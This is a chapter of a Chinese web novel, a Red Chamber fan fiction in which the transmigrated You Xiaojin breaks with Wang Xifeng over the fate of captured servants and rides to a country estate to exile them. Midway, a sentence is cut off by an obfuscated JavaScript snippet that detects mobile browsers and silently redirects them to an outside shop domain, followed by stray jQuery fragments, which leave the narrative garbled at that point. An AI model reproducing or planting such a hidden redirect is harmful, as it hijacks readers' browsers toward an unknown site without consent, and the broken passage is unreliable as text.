19. 背道而行

作品:《当凤姐梦女穿越成尤二姐

    “姐姐怎么过来了。”尤小金起身道。


    凤姐没带平儿进门,她单独进来,来到尤小金身边,碰了碰她脖颈上的纱布:“今天太危险,以后不能这样做了。”


    “疼吗?”凤姐看到床边还带着血迹的旧衣。


    “你来看我,便不疼了……”尤小金几乎脱口而出,话一出口,便怔住了。眼前痴迷了十几年的绝美面孔与方才墙边灰败绝望的面孔重合在一起。


    痴迷的笑容僵在脸上,缓缓褪去。


    “老太太卸了太太管家权,这会我正让人筹备团年饭。你受了惊,再歇会与秋桐一齐去园子里。”凤姐细细检查她。


    尤小金毫不掩饰的看着凤姐,她的眼中第一次不再是纯粹的迷恋。


    “凤姐姐,那些人会怎样处理?”她问道。


    凤姐眸底一暗:“好好的日子,问这做什么。若论这个,我还有话说。”


    “你说去园子里陪姐妹,我便让你去。”


    “结果跑库房去跟人谈判?这是你该做的事吗?这种事你也敢来掺一手,险些把命送掉。”凤姐有些来火,她凤眼一挑,气急败坏道,“前几日还掂量着漫画店,田铺私塾,说什么经营赚钱,保命退路。”


    “今天就冒险起来。”


    “……”尤小金眼神复杂的看着她,第一次说不出话。


    “你问我该怎样处置他们?好,我告诉你。”


    凤姐说的口干。一甩衣袖,坐在一旁凳上,将桌上尤小金没动的茶端起,轻抿一口。


    “他们一个都活不了。”她的眼中闪着冷光,说这句话没有一丝感情,仿佛在说,把厨房新到的十头羊杀掉做羊肉串。


    “……”尤小金皱眉看她。


    “看我做什么?”凤姐恼道。


    “你以为将他们劝说成了便没事了?什么旁观者观棋人,你可曾想过,太太短下人月钱是小事,这事儿让外面人知道怎么想?”


    “满朝满宫,哪个不观势行事。”凤姐一摆手,眉眼闪过一丝疲惫,“你当我心狠手辣,当我是冷心的酷吏?”


    “啊呸!我为的都是我们这一大家子!”


    “……”尤小金不跟她争辩,她沉默良久,才慢慢开口,“姐姐是对的,今儿是我错了。”


    凤姐对她的回复甚是不满。


    她眉头一皱,嗔道:“什么意思?半天就这样一句?是今儿个找回你们尤家的风俗,将嘴锯掉了?”


    尤小金大清早经这一遭,从刚开始的谈判,遇袭,到中间的震惊恐惧,再到现在的凤姐埋怨。她联想到书中凤姐结局,大厦将倾,不可改道。


    本是心乱如麻,又纠结又恼怒。但却没有怀疑过自己的感情。


    但在此一刻,她突然清醒了。


    凤姐本就是这样的人,她含着金汤匙出生,是王家嫡女,将来势必要做大家族的正妻,她不曾见过底层人的生活,她没有现代人的什么平等理念,生来就默认下人是物件。


    她性格强硬,不会因为几句话,一两件事改变自己。


    尤小金啊尤小金,曹公的结局若这么好扭转,红楼就不是古往今来第一奇书了。


    尤小金蓦的起立。


    她大踏步来到凤姐面前,端起凤姐未喝完的半盏茶一口闷下,甚至连那几点茶叶都嚼碎咽下。凉茶微涩,茶叶微苦,她鼓着嘴好一会才咽下去。


    “?”凤姐不解的看她。


    “我的嘴和葫芦身焊死了,哪天真有灭顶之灾落我身上,哪怕头身分离,口舌也离不开我。”尤小金沉声说。


    “你说这什么话……”凤姐微变色。


    “凤姐姐,我这会需要去母亲房里喝一杯酒,团年饭前回来。”尤小金转身出门,走的毫不留情。


    “嘿……”凤姐追了两步,却发现这人已闯入风雪,连个斗篷都没披。


    这丫头,发疯什么?


    凤姐心下恼怒,回身又看到那杯被尤小金喝的干干净净的茶盏,心底又疯狂波动起来。


    “二奶奶,我见姨奶奶找人去备车马,似是要出门。”平儿走进来。


    “让她去让她去,歹人持刀都杀不了她,她命可长哩!”凤姐又气又急,感觉心里转了只刺猬,她想忽略那刺猬,刺猬却在她心里走来走去,强硬的在每一处都滑一下,堪堪的要将她的心划成专属它的窝。


    怎么赶都赶不走。


    凤姐夺过平儿手中披风,气闷的穿上。她转身往大观园走去,走了两步又停下,吩咐平儿道:“让裘枫还有二姐那边的几个小厮跟好她。”


    “……”平儿点头称是,有些无奈。


    ……


    尤小金坐在马车上,逼着兴儿说出庄子位置,带裘枫冲出去了。兴儿手足无措,却被她勒令不准说出这件事,只得蹲墙角,等她回来。


    “……”


    她时不时掀开帘子向外看。


    此时天色已暗,路两边的人家都打上灯笼,阖家团圆,推杯换盏,其乐融融。


    一派祥和的氛围。


    慢,太慢了。


    “停车!”尤小金叫道。


    裘枫坐在车前,赶忙拉缰停车。


    尤小金跳下马车,将两匹马拆下。裘枫不知道她在搞什么,但还是帮着一起做。


    尤小金一抓缰绳,颤巍巍的坐上马匹,蹬紧马蹬。


    “姨奶奶?”裘枫一惊。


    “拖个车跑回来都晚了,直接骑马,你……会骑吗?”尤小金死死抓着缰绳,看向裘枫。


    “会。”裘枫打量她一会,又开口道。“姨奶奶放松身体,不要僵硬。腰背挺直,眼睛看前方,身体前倾。


    话毕,他跳上另一匹马。


    “你今儿倒是把平时一个月的话都说出来了。”尤小金强笑道。


    裘枫没回话,一勒缰绳挥鞭远去。


    尤小金少有的几次骑马经历,都是在景区。此刻听裘枫这样说,她便学着一鞭打下。那红棕马匹一声长鸣,甩蹄追上裘枫。


    “嘶……”


    马背剧烈颠簸,冷风比刀还锋利,刮的尤小金脸颊生疼。


    她紧攥缰绳,手指几乎冻僵,身体拼命与马匹对抗,试图稳住自己,却在马蹄落地的冲击下晃的东倒西歪。


    这可不是景区里饿半死的瘦马,这是强壮的拉车烈马。


    “姨奶奶放松,随它动。”裘枫的声音随冷风而来。


    她咬牙尝试,身体却没她想的那么听使唤,只能拼死伏低身体,脸几乎贴着马匹鬃毛,马匹跑的兴起,几分腥臭熏的她要吐出来。


    尤小金想起电视剧里那些鲜衣怒马,潇洒策马的场景。


    果然,有些人赚钱是应该的。


    两骑在夜色里,迎风雪,快速的冲向了城郊的庄子。


    “呕……”尤小金在路边吐出酸水。


    “姨奶奶……”裘枫伸手,却不敢帮她拍背。


    她凶狠的一抹嘴,站起身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833651|191160||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,马上的恐惧冲散了今天的所有情绪:“没事,走。”


    庄子里没几盏灯,门前几个小厮穿着冬衣打哈欠。


    “谁?”见人靠近,小厮警惕道。


    “是尤姨奶奶。”裘枫扛着一个包裹跳下来。


    “姨奶奶有何吩咐?”小厮笑道。


    “二奶奶让我来告诉你们,将庄子里那些人立刻押送出城,从此处转北方,去登州府沿海处。”尤小金语速很快,她转向裘枫说道,“你亲自带队,到了地方,找可靠的村里宿老,买几间房屋将他们分开安置。”


    “这……”小厮们面露犹疑。


    大过年的,要押人去登州府那鬼地方,一来二去几个月都耽搁了。


    尤小金取出一个荷包,里面几锭金子,她让裘枫分发给小厮们,他们得了金子,皆喜笑颜开,仿佛金子比暖炉还能让他们心里暖暖。


    “二奶奶仁慈,念在年节,将他们发配远庄做苦役,往后表现好了还能回来。”她扫向那几个得了金子的小厮,“今夜之事,烂在肚子里,等你们回来,有的是好处。”


    小厮捏着手上金块,别说什么登州府,就是立刻上刀山下火海,也甘愿走一遭了。


    “得嘞,奴才这就出发。”


    裘枫包里背着尤小金兑换的银票,是那群下人要讨的月钱,她又翻了一倍,为的是他们在登州府能活下去。


    凤姐姐,人要做自己认为的正确的事。你霹雳手段保贾府声誉是对的,我让他们远行避祸也是对的。


    裘枫带众人走后,尤小金又马不停蹄的来到死去的婆子家里。这里破破烂烂,炕上还倒了个极其干瘦的少年。


    她知道这是婆子的孙儿,他父母失踪,被婆子拉扯长大,这孩子年纪不大,却染上赌瘾,才将家产败光,欠一屁股债,让婆子铤而走险的去跟他们劫库房。


    如今婆子惨死,他不悲不喜,就那么躺着看天花板,管隔壁团圆欢笑,他只沉默发愣。


    尤小金环视一周,家徒四壁的房间,行尸走肉的少年。


    她走上前,说道:“你祖母因我而死。”


    少年睫毛微颤,却没什么多余反应。


    “我知道你好赌,所以我不会给你钱。”尤小金取出一个小包裹放在桌上,包里装了几个馍馍和铜板,她冷眼瞧着少年,眼前又出现婆子绝望的脸。


    “你恨我也好,想杀我也罢。”


    “这里有三天的口粮,我给你三天时间考虑。城南有家新开的漫画店,三天内你上门去那找活,自会有人教你,并发工钱。”


    “做满半年且不再沾赌,漫画店会帮你偿清债务。”


    “若不去,她死便死了,后面报仇也好,怎么都罢,一切随你。”


    尤小金转身离开。


    “等等……”少年声音沙哑,像是好些天滴水未进。


    “她……走的痛苦吗?”少年没见到婆子最后一面,她死的太惨烈,贾府为了面子工程,迅速将她掩埋,只随便来了个人告诉少年他祖母因造反被抓,畏罪撞墙自尽。


    “很痛,头骨迸裂,死不瞑目!”


    “家生奴才月钱不低,若正常使用,时间久了置办宅子哪怕园子都可以。但她为了帮你还赌债,去讨月钱劫库房,犯下大罪。”


    “你自己想想,新的一年,到底该怎么做。”


    尤小金头也不回的走了。


    在离开房间后,她听到身后爆发出痛彻心扉的哭声。